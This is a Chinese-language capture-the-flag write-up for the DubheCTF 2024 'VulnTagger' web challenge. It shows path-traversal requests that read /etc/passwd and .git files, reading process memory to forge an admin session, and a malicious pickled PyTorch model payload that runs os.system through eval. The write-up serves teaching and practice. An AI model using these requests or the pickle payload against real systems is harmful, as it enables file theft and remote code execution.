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VulnTagger

Anime images tagger online, but vulnerable. (DubheCTF 2024)

题面

是黑盒题，题面只有环境地址。

题目是一款名为 VulnTagger 的图片标注工具，可以上传图片，并由预设的模型进行标注。

Note

这里的模型是来自于 DeepDabooru 的开源项目，AUTOMATIC1111 把他移植到了 PyTorch。

题目描述

You're right, but "TorchDeepDanbooru" is an anime image labeling model trained by AUTOMATIC1111. The story takes place on a model inference interface written by a mysterious developer, where selected images are granted "tags" to guide information classification. You will play a role named "hacker", encountering PyTorch model weights in the process of image classification, and defeating information chaos with them to find back the lost accurate tags - meanwhile, gradually breaking the program's confidentiality and integrity.

Hint

1. 本题为传统 Web 题，不包含 AI 元素，请放心食用
2. 背景图片挺好看的，看看它从哪来？
3. 版本控制工具是个好东西，出题人很喜欢用。

Writeup

Note

感觉泄露源码这里出的确实有点脑电波了，给各位师傅谢罪（土下座）

观察请求的路径，发现存在一个 /static/ 路由，用来传送首页的背景图片。这个路由存在路径穿越，我们可以很容易地通过以下请求来读取 /etc/passwd：

GET /static/../../../../../../../../etc/passwd HTTP/1.1

Tip

其实 /static//etc/passwd 也是可以的。

此时，我们可以用 GitHack 来读取源码。在 /static/ 目录下，我们通过路径穿越等等手段找到.git目录，然后通过 GitHack 工具来读取源码。

GET /static//proc/self/cwd/.git/HEAD HTTP/1.1

使用工具读取 .git 目录，我们可以得到源码来进行分析。

阅读代码，我们可以关注到存在一个/admin路由，它需要登录来访问。

def authorization_middleware(credentials: CredentialsDep):
    if not SALTED_PASSWORD:
        logger.warning(
            "SALTED_PASSWORD not set, you will not be able to access admin page"
        )

    if credentials is not None and (
        compare_digest(credentials.username, "admin")
        and compare_digest(
            hashlib.sha256(
                f"{PASSWORD_SALT}{credentials.password}{PASSWORD_SALT}".encode()
            ).hexdigest(),
            SALTED_PASSWORD,
        )
    ):
        app.storage.browser["is_admin"] = True
    is_admin = app.storage.browser.get("is_admin", False)
    if not is_admin:
        raise HTTPException(
            status_code=401,
            detail="Unauthorized",
            headers={"WWW-Authenticate": "Basic"},
        )
    return is_admin

然而……SALTED_PASSWORD 是一个空值，我们无法通过正常的登录来访问这个路由。

通过源码审计，我们得知，app.storage.browser 是在用户的浏览器中存储的，我们只要获取到 secret 就能够登录：

def main():
    from nicegui import ui_run

    ui_run.APP_IMPORT_STRING = "vulntagger:app"

    ui.run(
        host=environ.get("HOST"),
        port=int(environ.get("PORT", 8080)),
        title="VulnTagger",
        storage_secret=secrets.token_urlsafe(16),
        show=False,
        uvicorn_logging_level="info",
        log_config={...},
        access_log=True,
    )

其中，secret 是通过 secrets.token_urlsafe(16) 生成的，实际是是一个 22 位的字符串，满足 [\w-]{22}。

而由于静态文件的路由实现了Range请求，在内部对文件进行 seek 操作，我们可以通过遍历/proc/self/mem来读取内存中的数据，并且寻找满足要求的能够成功验证 token 的 secret。

读取 secret 伪造 token 的代码可以参考 mem_travesal.py, 这里不再赘述。

修改 token 后我们应当能够成功访问到/admin路由。

在/admin路由中，我们可以看到一个上传新模型的功能，通过源码审计可以得知，PyTorch 的模型是通过 Pickle 序列化后进行持久化的，而在加载时如果不通过 weights_only=True 参数，就会导致反序列化攻击。

payload_code = '__import__("os").system("touch /tmp/pwned")'

dic = OrderedDict()
dic.__reduce__ = lambda: (
    eval,
    (payload_code,),
)

torch.save(dic, "evil.pt")

在 RCE 之后，我们并没有办法直接得到 Flag。注意到bot.py文件，它会定时的构造包含特定请求头的请求，并且检查返回的结果是否符合预期。如果连续五次检查结果都符合预期，它将执行/readflag来将 Flag 发送到服务。

Tip

这其实就是题目描述中 meanwhile, gradually breaking the program's confidentiality and integrity. 的含义

此时，我们需要构造一个内存马，来为请求添加一个自己构造的中间件，以此来通过 Bot 的检查。具体构造请参考 evil_weight.py 和 mem_trojan.py。